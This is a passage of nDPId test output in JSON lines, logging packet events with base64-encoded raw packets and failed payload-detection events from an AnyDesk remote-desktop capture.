ISzOOz28C5Q5HiQn4FdQFEKmVU9u\/miogX2yf9FzOlrDabNoDvuPmCLHTLzgGQfeIrjXWjnWAemNYZ2n3djdY5GTtyHrZnOCR54b9FBUteKAYbVM\/CUGOIzBdqgMrR0PIo5qxWsvR3dqzknbjHpSuHblpBrPjyCktk4TjXwzbWwQGtsonabbjuk0th317TF6kWG99RLSWaV56tu1lWk\/dSX\/7pke1xemXjHq21txEMde+Yemc3qPB3WM\/u3Ip0yE4="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2065,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":1690} +07820{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2068,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":15169,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAhBNAAIAGAADAqAG7wKgBstOUG56PMJl4WcRHc1AYIBOExAAAFwMDFXlZ4hNO+msW63GBUH\/qmiEC8YrSB\/t1l7DIBFSGkSGQhWt0YOiugWdHlAig6eRx7yetn\/t0zN+WrbTJPckqkXMSgn\/kM1qZEOMYUW809mNngeS9TmxAZFBIW6q3ZsD\/v0+WP1lJ\/+iyxNeCKym3KSjLcFhiwl2mdfy6Qo0AYo3pYQ1b0k+mqA78DiSygkqRqsj2gA205c9xwJwOHRWNfZ7fFzRoFJfwnqM3GWZRll2+N2CnZB\/udYXXg40EsM8uaUNGuLD2lyiYifkCFr6Lrc3dBnX1+jrnTR\/fO3JngMqiQrZ6SMerHD5+8vVyBFg7OjJj0UTpQI23NM17ctNHdiF3geAz9reJKiZKD6pKIHlhDWyFhX\/yu+\/7Ko17T0+NeRK+d82bRsrhlWZeG1H1LQbo7J3SFJv1swHD6Obwe6zdoxs4NJ4eGMnfKxoN1jV4C4CPid7+MRZYpLXaAg\/GHam0ploI\/r7ZW6IP3NlFBGzuuRZ1lSS1NjCPHzBADDVgdesmATuCUVd250p3tdEgmv+wRZi2J7qvZaQQdXez4UrBoINLi7k8lxCeiauUk9TIuAWFnvHJLT9s3JkT2bMCm6OdKYOkuqanKIlCBX5DgzuQ52ZYyxURHVbDJ+Z0m9M5YgepHJqui+mCktLrwnK4IQRBTc2THcyPcVoI2mLHTWvwXl4XXZypEQVIcajSrlvhHJRK0SZXaknS8omk6LlznGj8dDtq1aGXUklv2g8K\/YYc99nygcEyNu8Bhh32qRMCJdHUEZLu83j24YvMZUWdixlma6sn4rBUTtFCubjSLNnNHjTSWkggNNCOKHlDRAwiMyEPEVJZuxQb3aUCfNDRNpQgkclb12BqvYv9Ozzqv6TCSsYpbO9IyyN\/boDmw7JNG3FzVIuKu\/\/Hz5O3A29Xoter7SXkxVgG9sNZ3jSl\/ss0vj07fHbVrTsvHKFhhN0UfEuqA6RhtpQGpxdD7uB0WiANfMPQXN71IeQ1u72lBI3qB+BgNUTXvR5\/Og0ItY8V\/Cdr1UvxJ8nGgihzUm2EzpaiEBM6jd58CP+QmESY6E82hIEWIEvEfZgn7GaNzfRwhYwxpSsaS7NHYBntGjHj+VVUtlYY+LnvFQfppe7TfYtEQsADrOab9g1DKA0GilZuGMbjVyBPZi0qXeTDgX9vPQcmwDM8q7aGP9YpVDeZRq4qolKf0oK1jycXTPQaUeIYC2VTB9WZV8UAvl2H4dKtHhF1IjPNjQ7I4fI3MvgqK8V72Sbdd5KLSTgqTc8vAEcaC05nB\/aAEDtUOMk\/5HuBvNCfaxCcRLsLN6TmsfUo3ylvHvB2zFNvGqQbaCbf3MOJkvXgjMHkOHMACulgmux8fi45rGahNy9ga2EVJ+UCFvGVVmAxUG0\/gu8Vw1E3wqXP225NZIPqXj1s96hJUBmioi5bBAz0ZFnDM3ePkef\/DvVlsVbS8qa1ODfOoA6PJldtFA+d1hlYQ0Qs5RCJQBvp+6jWkoJXa9v2Q4ji0x1gCb3x8YCsFPZL0j\/o9YS3uO5PBk+691+v\/p0VmtbnLZLeUHT1GKr0GnTWLxTWw75HK33uigEl6sNivpIgPUKBnxw4VmC9erGSSx9uwJaSbVvy6DQD4Ss5n3KKyDYLBgYRmls8OWRDISgzuaSvYS0HBZ8WMxWSm3RkNeG3EKjMQQBTfSCJCuV\/rjctIFUtC1Xr++lw8zP0p1tAr8V7amenSr\/fy6kt1mUHDDjWc5BmEaRw6nkbw+iZ23EjKwgkrz6FTyOaltxLKlZ3vABL4\/RaugK8xXZQZX12qa0kX0W44iV7pkfH2kYTTyWvyllonnP2b\/g+NWWqxqQ6u5yF+JvUilSY0NmNav9CzKSetMagPl0u\/6iQOe274nnggUlKVkJniPusgSFscwUlCFOGlDDYqsmKSAahcvb6DQ1F0AYTggfu7dY0KI4laSdHuMcx1n5cFw+tUX3V06kOjOe8bGMrgRWF38ohBSltP7xZ7QVr\/TkX1zVP+awxUYDL3TWL1npCf3cmsSIju7ki4rXMPao0vYC\/2iAk9xbQqu8ZKuLfonnUtv+uTzuEbqP3xQ9ozetochFQXjTDNJ\/\/logBGCCbY6n\/AnxTPTDr7xn0Np4OdEI4oslw84Wy4wHp\/weQlJZJxNUkBafR7SfwMdvpDEYj3lx30JCctzEiyqQnAg4WPtVHwX3pAR0UZQAaAIhhCvMyxW8XSA65rvkR6mX4nYbyCXoqoQLASeOwvtmLRNhbaq6bWEFmyo3iiiNavsMa1tNM7HwLnX13JaowX9FZ2lZXr+dmsKgvRA2An05SleFbvwhHw1SGbZ38MDkhxn38FRv13gnzEHYhq9CsTabPmPBvN1YDdOr3deQ0GpKSrgzHRlFbYP0+s9HhmDkx6rRxiy7K1UoKS04cHG8lGgNFMQBpzfb2Rj5p0jVCoyXDOPLAM7LC71mn1jFZCZwBw6sCXfgsHeN\/T4sjl6rQ5LxXIr135\/anFBLRjjcd1SOd4HA2fTk0UrdEzKqeQumsmIGndvk2pTcRBaJmrdF1\/TO3mojKWfzFaBLTC38Mddzma4VjOf2uJuOdwbYfaA2OCYj7\/I6lesQnjLEcHCxefoMKbCiAnERL6bnRfvRhRRSLVfsnoMkXKNiJ\/l8QEAqhOg7kMBP\/pz4TzVYAkyB3AqCL\/7R9jaj0cICgWN3BB7H+4v\/18DlSu+M30Ur\/m6OUg6NbrtInwzuelBq4GtIwEWs3f2y22v1eMd8LshJQpA8DvrVl2FrCUX5tNgr3yDhxXZekhkG70QF1zaX7FKv2g6+EG7pp\/d5Xcht9+ZHDuRe4oSB3\/FPRDYDsH4PRSjYESoX0FC+l43TFHZpnqM9Zetul3WSpsyJC5CYoNYW6dXKqRYrXVQmvV57qwAr8TA1ux2GDHVDyIEmroTIyKoM0WyUK3xEujbStpS0HKhObdUUlfM\/hYlXbP2S7qN28oUKZXD+W556IBIjp+U02QHqCpB8SFn9Lrhcf\/kn9usiCfXp4sNzJnYK+KxK0ow+DZvn2vohRDqqo69k556mm3MoYDkeB418sX3z9pqfRi6rIcXP4FHHHCv6FKwbhhAuZrpbu3HDhrFNfBh+eBeWEA32dL2NVH0gumSPuETz5SrqJlB36R3NeD5j0kBDtbzfeVXzFIIy+K\/arnzPr8Kx1oGBLVZT6cfhMV8X3m0dXFCdGdSsAFY+IN0nMrpt0Ay9FWz5hMsqaTUjCLiqKQaUqsvDWr7mB7mhIbNkgYn\/HnKGlzbYiM9MSZkt2iptKVaINJjqlriPFP3OUWP20Wc0uZUq4FgjpwItGQAwYuO9GQctmivDV+nH9lfewoRGE36hoOMMUm5vkbg8XpdZaHJNL0TD8gXud5Sf4No\/tEC1VW65EC3dhDMPw5+ShLnfuKkwCwkBgGFTslpV6rffzDvb4Jb0zPKjUoMtKL9SIn5JaBKpPkIz4YkhsHRF7rVT6MW3h6QcyqpmgEhUERHFtS2GJIDG2XTa7wz2DLra\/EYMPTmiCipOfCi5U+4+npgOM5MGSAG6HKqKJ9JLqZCkF9p\/yad+AbVZc03vwekwYGg7dp4ZSapdMoJ+K0vnloplBoVCT3UPp1VfNT8GbGddFo6RGXeeMYxFNIvwnJxUQ3c2k4QrysQy5vWrT7ElbQXuQRAhx\/Iw1DHq5b\/7aVkbVJlNbf3QtDcDnMuk7WDsg5vnpmLqPUyuvFSX4t4ptgYuDDGhMl8ycu9ksdeI4k24SRYMEtWNyLzh+jklSmNzrOs34n2j33BVGd34XbtDjxExWYqx2ebb81Af4v21rk35wvyIc5EoJJwRo5+wKs+kximDKSCICcuvysf7uYxPQgWp2FOFjIeQp6Aa+r1NPLKS+WZL7MaVstwUCHQgsSgzQeSyDfgWZLB4t8qHEIGn+\/DK9nx3zmDU8P4D1zbUBNZXsVTnOOHNebc6J9UqMwj9bO2pVJQZb93\/u3QEeZ5ij6IV3z34wbWbehHtmxTRfaPMYReuB4wtj2JWGGdVE2X7kNNvJeXzCKwXhmKX+OUCDZg46ZWbvZOGgP+ATh954JvM6PZgHtgqmyQ66vUicPuoY96Cm\/EVq9y5BenDoUvEWyUEs3cWU1ngutmz8PUpr+HM4CZ78omz7vBeOZK50zb2vqmJG9C3J1xJfSaC5fewHDNdS8OsTtvgF3HsWPVjVZMyuybaCz+z5zQfDZvjGOfegGUZCwzmcoq8SOeuWdpksvo790HpY6\/YdJaKj0obCkBhkjqSnl47g1sQ9K1QCRfYYfMa2lsPJTFkAf12ldXWOJhVgYhSKrWf9emNuMr4hSjmRws9s+Gm7Iix7HO6SzxdNLxj1UnFuBDDJnFiXeQNSPyKt7lbXIKNQY+SbBAoDA73kTEMXc29tKLPUKK0OWR3FUnb\/g0OJAPodSaRtWYKMwmVGMwfSjSGpy4t1MjaYfGEuvrSZmDiZtETY0hhR+XeMPS76NCuLINH\/vqq0F7JkqH2aa16kRfz+FAo7OtJa4Qqiewzm3+njGdsERbOIFDsXIml+Vbctme5w1FmM5vuFxE0xqJALeLPj\/zvzjdn9wJ4kSrFzu560HxdvfNwDZr1KR3istp0CG9OvmmhiNxGl\/8rWxPk8su\/naE3TdwzQGG6Dm7vxrVdP2076Iw3XPp49Qomvp5jLCZfMS+yyCD7f7VlsXK2ishXfTCyTqEdraXkvBtG7jmLxIrxyL1vrmxwamwzZvItKqq1Em7MBxPJstQtGbGSfcugpbxBP46GxmYWlPWJOGhrQFURa0XC6WXCw3krE8VnIXA1PrsJzC1dIz+0eowxs2782xyh84O4jTAv7D4jlaYAg9OYa\/MfDGzuS7O0vjRsuhAiOytpcVcg1kftNvNCd6GN+Nfs7jTMb24zG2BOagmsUt2sbD1BC4bj507CR+y5qMYwXTt9Zxwd6doh4PYaILQQRztKBoVmgDNQGTuxMoJco\/XiwRHiKE+J0pG9sTARz6bsufW3hjTe78tUWuHm+rkX\/ciZfWZizCYkbUaf\/L987YR9pqjet2fxkTeHXGz6x+h1t5j3FXdwZyu1HI0tyKrXH2BNZceoJaJcCPyEjlKIJKCptyqZdAL+KXtJp5VQ87Zu5deIi0NIsFLFXWfKK2dvY8ggNQxgktY\/GIJZ7PFLNowy4W7ZKcFySDKND5FfEFIS6+g+RIvIkahK6p2UZgQfhtasZk0L9sJzKdgsNO4KLsRgbgLdJFQL2U5i\/5j5YvUeyGjkAx4jbA7NxuD6shEVT1RnzIm2g54rk+vT4y9QD4FiKBQmiUqGgtcFzyFZp450GOcG1J3EJwyZwn8Pn0oLtdxl5V0gUTJRaL3vR3bNm6IERToqOX2xO2dFKOU+G\/3M076TvsuGVfRczBg2BOEmPKmJbl0xKhRv5eYFSVBI1u2oRZ3Xp9H2O17tO9VryCFeOoNCwDXy23IK93I2oNCcu7TpInp\/CUn\/g+ZYQvYLcyA9fwoph7XDvwc1jelm3goIc+jQyXMjoMVP45cloH6\/+s5XGlbEWDoMPH6ht0MJNN\/zANhQanlQ87IZXX1Bwz55XWliQUgmI2e8I2nuBOOcCV5xbiU77Dr7e2m9CYLPZLyiBaFMf\/\/7bNCeZPlaA1awxSaGB+4Jcf4YVv\/D48sxer8XUfpBDXtLUfxqfBwparJ\/pjID\/VogL\/tyC1MMvmrpFLLEtvwRgvFDBCW4LjYONfoV7LiY\/HhxjzrpMxll3GQt6Xl7ubqp8TXn33IXGra8sRUH6MHNn2NtX95MmKh+7eP5lajg5Cf2PqosGdV0zT0pDIfzoyJXpmVv0amQhvUcGI82nikxk\/JhkYaG0UvLw4Y96Gtc+YUtquZaAOj5\/kwC7Y3qEmSkMYOCOI0ZsPTBKZehIAYWIL1Dd04UxRhcriSA6qzl7TjjoP8+\/ogZ94lF7YaAR4fbXEnxq3fFNVwqwd6D5WX2cPqtV7eNobJiSyFF\/mzlt17ShT5VkIOwwqix2R2KZiYBhlnLXB1O7QIRgNm+LvcbxKTzpdPCUx4+Fdf1H\/09cfYcOBuD\/aaqe0K+t6Nse9b5iphjWfC7yDffYxHYm9HR8g\/wL2l8nrOWBPZIyJDCPom0nKo9gUkRaEdBpuKVucOY6VdOMWfExkNF0EHmkqE2grQjJRtPp0N+SBV4e9JzAYKixrBag709zZ+s\/Dshl8eON4JwKPL8lI1VCpRIe97TKjs8PJcDNlS\/9IcuckH3+e\/AgHKA0g1YtrOh3CO1VxsCj1ApTvbx7nmfv2pyhb1bHBmyERfKx5vydMS0R8qPL5P20X2l\/m7u4RullP3fHAEC3AyINYHkJPtcxsglERuL5cXt+qQ\/5egMsTz+agfEfA0YFqiINmN8nWu5ULozcnlXgK0P3M6\/12E7C+dgPGmrt5vPl9S3qP2DdXeT14MkQVrC+fbKfIB9oBXecl3VJYBZmbzo+EoGMQH6K7YsuS42EqyGXYau50xre1gKjpBuAzwizk3QOLudtc+yqSksB7nYFVjisSU3scV+TtqgoUMRzPSqsKe\/Whd8NJ+iQFTuxgSQv6j+Okftk9wWoPfjtwQ1JB7Q3O1UlAX0OpvVmWkzofGxCP9kGWCpX0Qnbj6GIZ+lAprdqZ2zgeUrvQ\/FMXuVZMctaex8ZMdpSZh7IFr+YdO1FVroe8nkq1psXEzpCNYQwxKlX013VO\/LQiihugXxmvyyXgpFd+rgFWNtdgUBbWwk+v2q2armkkMk8jyp7IGohi8h1P71PA44SYCsm31oTCvfoY1OE70IeBq7gkkX3RK3yC5DGFzl1FLUAk5eb5Xo2lrfeUK9\/oqrcdkx9ZZHBS1Rav3UJD+a5FsrrjIsrvUAiVTRszrAAEoJla0HCuOyC6B6MpwYMxN3tYeYc2Tsd7lak\/DyUrlaHo4szmylK3ziq7mkUquOEX2kpAw\/1qT778hxYG8Pi\/gsiEWdpaJZq2CikPT8BZxMQMvxQW07BrqiIwuOYCwg68NTzddavKkkwX0zZP8MyBU2BgWgN4iNIeGWgRfR71fi\/9cum2lRZWwbUqIch\/42UJSN3AnARafz8JkLdxgz6d8gymyHUkVtuKKBRrKfNEpm5RXWr\/iMnmcwY\/MLQ1Nprh2nxpTBAshMbVcnVpDHO08H68n22Xrfy4CpXGy9jG38NQcFPxsBhpknRMVD+SLiwUko+9KvjFm6ekJMssw2R1SC3cH13QSdrmpZ1aQLLLtuium2t+c87XJDRSwFNN4rqevD58OcZ7Y\/DrwPhAbLT0xydkBsPhesaCL0C9oc62KU3V18BIg6KQbupev8mKxEMmv34"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2068,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +07814{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2070,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":15586,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAhBdAAIAGAADAqAG7wKgBstOUG56PMK72WcRHc1AYIBOExAAAFwMDFXdZ4hNO+msW7H9mwH0kJejHoDhwKgved85WwuFa+BM+YVasnJUGVTSCQU7VB78wovrpm4qWec8KDA6pikyWFrWKCs0cxfOCcv2I5HNTR8UU5y+ImR\/kYyO99X72EZNL6+V18d710pLiuVugQS93bAMU56IHGJtn1breIYaeBSqtpODPRYmxXvG5VV6gDWN4L6cWA\/aLRxSAV90jn6gZtuJbs\/dfITaxZLBY6cmhjLMdopyLdUPCKKLFFK+grOZjH37Lg7Ets7Gj44OhAVS+8YPgSQ9Pa8Vc7j\/JjIKvIJXVSSj89ZYSTjBuoDRhlN\/sqnd+VGG+NSpCHm+aBENQWlNEgX09XN7u5SOPpEEMf8bGaMLlKlX1k4cyB\/cFNkQ3d3w8ZO0bAPDsHYrB9DX94xz2RbKDCXJKfbkv0c2VGu62xTwXDGCnb5yze4zmPHWFgkp98iFqL6r1rwsuLhbwCvwsfZ+iGtOVcfuyfqTsL0XnDxinZ4nzpFRJaeQghwYbEfIRrIMJxj8i89t3d7CDNJe2B8XrDVId9EF3MT2CLlBYtS\/NnzNpj53SnW+Y4XqzyunepU3S+J0\/1Sb9sQlxvUuEFSzPNGDCa0PpwY\/dgk\/i5FcgwojjSDR6QjDm8scXQU6w9c7tsAsb95jqt3U9eEM9Sq6xJIAn69YRTYbIYmiG6ujXt7JANXQR\/GYXjxyR9rErDCFoAYQxSyUa690qhg48FDL6kRlQFT4bVJUVPQeIwxI93ON4g4FazF2bdrqjVDJ4Cf7ObWyZwAgsJmxs7XOeRP4AyyZajB0wTZVahJbtxBftlApVdpkYP3zCS\/6HG58twZwYDsL0lzFOrQwIYml13tiLaaRTLFSbbWEGbkhrHmS6CImVPx1CjWwsYZRukTuTDAIlxKhCntlEs4lv20L6vTwodjwAm0A81xavuw6bbEZKggrqfzi3GPzVe8KRbVOaAWBvz5PWit9WGR4nAOsZuwUXtpqM709rA8tQQXiEoVEIk38bHKrAlYiytQ9SASm1iURkEnWMdqurXwPx023gXshnRLFjvebtGCX1eDFsNZjdskjVNp1r4fxEYUE\/hWOYriIsgSdY7ilDw6A93lV6S0j4Dfw1g2+f78o6iuXaTpf9ZFe7XOQ8uAZWorqNdr4JpPWoa+mzzJ4X5PF9ZG+WVj+cw1Xghm70wYJI6dIi+YK0MN0X38TkIoBHnt6HHYO3m\/aHCw7JBSEkQquQjDoXQydWXtEH3zLTfS9vvyURfZnXW5fr35lrnYlqqxwBD+gpEfpU4rXwWrh0rfHRZdqEY4gUUyahKp8+Eqmu5CxDCr1YDblDlrDm2wH4mmbSA9CgilbTZ0m6m3EmLny+AWoA7Vpx9db8a\/Mklmwb+WiBIjyiz0VuOl5xLTQ28qWYB07AeIo14hztdePpxSCj1XQI4T+e+dNF8ar\/Tj+cEOhQYM55SgrGqoACMpc+GuYF9DXHS1NFb5WHXZ0feL9TDY\/In8h\/89kfXXi\/jnIOVLjCWCJFWSbvh1X\/1FBuTEAgnf23PeZfoZhniybzBKGn3yJKUDAxurzJ0mr77oS5diIPCvigb9UKThZNeqegysURgiErSuRwNcvK5zor9s1vtZI2rNvtaM76sn8SkNlq6shVEx6yd1KyFFCxUV+YDlNbkv3e2GZ5o5IZPn1IMQ3jPbB6caMYT8Ag3zeyh\/GoT0ELhOnaxqjtanLSWpLZCPs1rHi\/svBF8nQeSyEZ\/SN1BfO0GB+DI6skqHp9TPQLUK4zRqt5Rf1y+a6jVEFCC0WWeqijzsLks+rJaTLE5zuzYsUn63JWJYfhkyz8C3IooPW9HA4pwqPTCtZ+09axGCc4XPsfowtCl4nbogo0ioVZcbVgFpTMQA8+dqVJDEHkAfewxbSwHPtbCvDTwVK\/2r2nccA8If6oGhw10li9ZZjue+468oJV56hon+AgCTP+xWckdR576XO6AtW5+dQ0GBcvJf7Re9kYNY\/25+9SGQ7EWBJdVtCkDfINJAt9i1WeH74IZjxqL4J8Sf+AKHCDKCsQznlni\/d\/nRXVXb67dVa1Tb1TC0hqd7DgZgKLUnmO8vZOEoB4ExdSp47KMBmbccWML+8vzWoP1z4wizH\/6xGmU444gpwxE1DoZZpzoXtI3GJQh1IUJAbsKwqSgeGlU8KxuhX58D3tP5hy3i9MyFZVNT9ukipRKI0PKKcEAeV7IWt\/tCGlXBwGkOzBn+T41+IU3aVAeC0PkoXMCj6YjJdCrBFW77oqjYP6KpW\/UQ3L3yb0F0OFH2HcakyaQDw1dMWwep42hPbgaiEbZX1zfwX6Z2KlwaVWC+MofC4t\/edbR5A+zINrRCfqUb+Z0woNPO6skw0QNKqvF+oJOEpqyoWnhEp+zGpKSGJ2xGrC+pP6EHiF2elCkyp6qPzPQCUJa8svSr2b8\/CzJxrOTVtuO7snCW1JBO3Q3cKn2wk5HsqlnYWsD\/rk7DiydRC\/SCOk7rGP2eKDnRonEVSYA3PQmYGrn9oj4MVddYVW74V2hKHf5BUcT\/s\/dWZQP+1b+JF6AxlDLsLf2ojl3KQc1D+r1nQEoG1pYMQaW33I+6pst8WT4iI3fnWeh+v\/rIaQL4zNs1HXQmS8mNGuYqsqfLIqr9ifJAEuoJymMS5Iz2TOnxsADZvSFJrHnTAPwYpkqbO902ynGI01yaD5ceVX02F+vUK48+y2+KBhZ7gp1XxTKESmiZJhYunviIQgjoEzOrDMjEui1\/ewtWTjVijsWf\/4foT6yL4V9VccWhe1IDc\/8k27UFNeKbcJY7xjZeAdtWD1IpIOS40AalnObHhcOcZW4bG5sK32oqRYLf68ZHvRBKtNweLIWZRdM1kpQCyf0SPkAvVtCzQBXLYYIET2DroCuQ0yWSOrhv51jRsuBUxBFFFxKJYBxFc+iXtWb9iiB4CQlJoaLkxRuILVrnZqKyCakZABjgho1ivvQ3VNwuJSLt7eR3zQAUHr6T8gCPaQ3CtlEbgyux\/mksxnEa3XVrEJjkB5wl\/LN34T4oLpxWLYASQfF9fXqEANs\/3jShhiQeFAWdSpCOxDuXp6l8v+snHGN4z6bIw9cnvH\/Z5eokjeUZN5jKTQaCmbBA6cpbZcJJHjl8PI\/4mKl\/i56gd5zNclPLW26GObL1pd0y9e5pXRAIqQ2wu6aPMV7g0Z6JognJz4qlEr+UZZ82iH4o\/lUmViwpbhCndPV3C52QzvEuJfIkH+z6k2iXmgTSPXPWuaAXNPZ5vFM5DsP6h3jDrY\/S3x4xZ1PVuAa2OO82iqIsHHgVcCLCVvfVcADv0okh+V1PQIhT9Mt4EHA9NYmF2yB5AYeGJe9i6DRlh3rA9gxuyYSz+fwzJhAjCpt+sJGNVgy5NU7VN3+QuEjDk4vjsuyAKZ4wwPXHdExCfBzEeBECHdVfcS+Yr4aG5\/BQLNrYLYlyM54wG\/eEo5TeLqrbnogasnYSeYWywIqk19InFtqWD4D+lXGLvGk1LWSUvtBzz3BPicH+bWsUq6g1NA7QITKHbUFto6+0FHouH07hjJwCQelJVuKFhDGptge23a4UEp8WomGdsDZy0IqZaZ0zcH6d3syZHK9XKs45R2HVnLw7j2b+\/ifGgrRA8kmZFvQwORpvtM8WkTzf50tXBJoVkUueMgojE2h0GnQzfMpqrCtG6g3\/7p0ADFR0CXyHAjJbBzFJTwp7T3L1QJM4rbUxhLARfkYAn3wn9ABpkjDLzx5ph+bqUcHQaDmcU6E1u+ZBmLTwkiyZTB71cKoMrtcOUmcuqglUs+6LOpGjRSr1dGAoFs4ykCdvWoSpRlhSzdNvHlenbG9rthtjFOpS30V4pvv+X0ZBK\/dA\/0z5iRxnLyrgC\/TMFrt5xstZk1gJQvOYt72ppyHstZjhwjJLMT1CATfcCtTCxOju\/HR50Ey+75bmGkf3SdWHFALBkHcOX\/ZXrN6YPmV3UeF8J71YNRfaBIKyDHR2vnzOvv8Zx3EO12y7cgfiVintiFWZQzvcvO0l+irXOeTaZhDR0qY\/zxn7kkRvgb3d8sRssLh8wl1qnNZuDqwVFH4KIVV32rufWGItdIWqhRricuLmG8L6qPClBC+EKgNA5rcO5uJ\/Mku7Ek+E4bU4wCJZuT3JR7oUp5du4IUzquvFwQbeCk4XT6VS3D6BKYXX3RG7DEsOuGcKnFhEjzO6F1cAlQRnpV4dRzXNbHRJz\/yOO6EW6li8u9r9cKjp7lS2kvN0oC45mBhmFkKRRfzzp+R9SJQv1PNzrKoCr6HYtS3p06NSx1GS8J6pENCimlyJfR6vArCRpmMDGqk4LMDASFmaDD6T63xjbY6T2xR4oIxHGJbo8gRg\/pXMqv+X6j2dgP4IWM0JNTdG9u\/pXINrI4XRcALTScIGBw4Vrzoyq31bo30UseMz1Pozio0Vj82EuS34HlDXYebfyosrfUHLgo5bEC4B6DotapHEDZ3LLABacKT7kCfpyB2vxwDDgdXBZM0DEvPJHn4QjSZk7V8XaOI+ekT6Ga9kRRovCN1Z1PzKtnBreMjZ\/NW0pNW03sFDGIq+SZ9lBTgfXcbTWVpGNb0vjRU\/NGW27Wy54LqQN8pjGApdYtKzfMa1X1Qc9+qaFhZVNix7ACOggOSdunFzml9Mf07ICYaLRCatLSMr\/ttlKHNM3TnNn+op5cWtrloyYMeeArzs0chUJppZV9nIGqZeWKLYnUQcvmuX2Z36723\/jeU3ZRpG+iwzQ6ouzpgxgiMxrg6dMhK+VGgshCIfdUYKJHF52tiIXo1mH0kK8zIO9r7NHwo4TywgPBwiCprHHPE1EYXdr5rhZfWoTk7X2bv9D1IYMFJEG63DYqujaLunPigI+h3vm8wTc5vVutZETLlL4y7DJwVpTDW2+YQa5fKbV2uKe4fd5zYl6dt7kTIS61ddkbrk+gfTniHm1EKefvZKgWgNW5dsg0sz\/1\/vGe5q3YZst9GvMUBEoAXcF\/hcDCLSiLjtm1xtAzOMftWL4tbn\/uB\/Xup0sT8QH0\/L\/Abl\/LBIvYZHRyp5wHVg1vYr2CBkKXl+t9kCoZUC8iF5Swmx+HPWpvGNqDdKulbRqTBsXUP6nirsxihc90wVjlwSuvUJxqbZNRfr1amaS4a\/UdetDD13h8AnlLDcUxxPBTxouNVFRhFHatwPVzAk6iyeCDa\/WMQX0eWWKvCyUIJNHvdYOaLC9vOaDMg\/aSFOeXWc1I2NPjMvbKWJCrCofrZ2gl5ENKHdsJrqRyJRLd7kWZ\/rq+zhr+EEdHQHVeX\/BFGXwFLrzFX0MGewQ20R44rH\/2h3xVcEfPxM+yz5NL9LDHaAKGO77Zh5bDpbTEN3dXTRCfSJiYHtra+58Ps5SwsfjoADWaMoQWzsdmzst+iCVb3sztJcJLt1Yten6nT0ML2r1O\/IPoF4wjkBgfyk4vvGQXQl0yQa7M6OPmHwlD6nN6yXSut+ABnZLN5oWT1yMNpIBEyPUnhd9eT2iHbzMoAtZyJ\/zrs84S5kbB0qQLdw6uXpM2oYgQ3+NxRKNhXaSvOvJNABq9864HRHS8M5K\/HklQwozHIGk8pagk\/vJQ1zNusaPyX3l+WGtH5M5SG5Wy+1IeJB7FklMwFEUVGHIp0jk+8sh96UMVuXFt83g227W4DuOd4J28gN2wnM0PuqckLET2b65q+ejXUaRO5TLP5QkcLRoBDMjGq8HLJG3sAWTnIUierJyztXFh8Cr2RPQ\/dkYvOuu5nH5ntVhry\/9\/HxNIaILGpYnDxewTImU3tw770nAWQg0n9SxbysETu6butSloWHe5Nbg9EpjqO10iCymC0jtU9vJksIGweBhloMVUo\/eCyt8ZmBs+V+wLm9TTgIn3gHC5aI9omUhJNDA6x3EXgIzMtbxEuXr5wDrWtJu24W35okXceLQTbd01dFOmIyEO0ukp6ICqECQyYk81IdweduZsrqc4fjNtMNVBaGnU68B\/hkJUEpgu3cbT9K+\/L19uyGVrghh9a+3gOBzDD8wFT5znr50SyfgaL06XebJ9xSl2TfUhFv9RbBBaqvu0tvPxlGfJ5i6e56PvfZVBXG7FtL9bUrp11PsVxKqgZr+g5ZxPB5GSgdQGGUVcHnxeV27DhxWZI\/7RcmAhxoRwYotlFCSv7BbDqorH1tuANtz9JJGQYJvxKgX6CmU+Cxnku8WzMIOTop5eHuj4+OfEb2A2m2BkHDPVYYA9uz52lGcpsDGNkh5V3733EBJfaLdeOEp9qMEidqFsLfKqJPOYjff1CZn7uPv+w1uGB+JtAOw8QuNqHsEezLSWz7JwiafkJRMOIEteCdcDQInXKEhLuH++442r9nQJ6iR+UANWRuy+V3mkayhqFCQRa7\/knwyZExwnAhd71O3ZSPHJNMI\/9GesY1Rwv25mINI96to32qwxq5RbaJWiZshWCH8G7vzHrqTGEaxRVCwSS23zz57zfCLvQfcaJ3w0vAM9kQ6prETLAkTf6vu81oKReLplVDjiZP39oPcMrbMKC9O+1T0yoy4HQr6p7OOW7r3bMcqkysTLjfA8E3\/agC4XQqVC5BzElLTV1qumfB1cgEb8HkRAurawumiJ2FE2GfdupZOQlRFyHeN26mET6KYLhWZa7iy19pzCm+sHUFogog2nas8lyyGmtPHCj6F59RhGQwiZ7VUs4N2HMJ8pioZBAJWAfjNR0H22KDI3rIiUIicNjEiIsybeKLHkkmqTet2tY0L2qIj7Ex06hHPktN884vwh12FtYkGvxagnRs7oZYglDH6nIoce8Q3iusQH7lL1hgd28EjDkU3p8fe1IoWWf6Cgq8AtW8Xa29rK\/0CPnR0TIWI7LLeXNfUWMiZ6LUjrKikDs2qo9yluP7DuIk50DOt2KCZxnbWql7RKot1LFJKY4ly4kB17Crf2khAhRZxsmKvtiYUtEFagHCXC2ioeLWb\/DWWIdVVe5zsyiAhKbfN2bPthDi1rn3xoyJ38cE2qAFBcwRFLaovRXifVH2NLFJJ9ModNKMg72qIG3XgOqcSdYAH\/GHYWNrVYDzjmEdXqUoXkJqaUTUsYesFfI\/eq5zhQtA4SEJmCWFpRBJ0Qy0QrYA9o+N7FlXbGij8eopi\/wXrDxI0Az\/zgmoXez9l5\/be4hiEvuPN3HW4hlW16tYmbmtG7o5B1C6R1IM4N3cHDdRdgcunb9DCzxdGahO0hUfAnFQkWgHw8mBrOwighEjiIfdgPJhm6CweVkmsBx\/Ce2LVbRFN2LlLElJ1uqiSaH3FBPj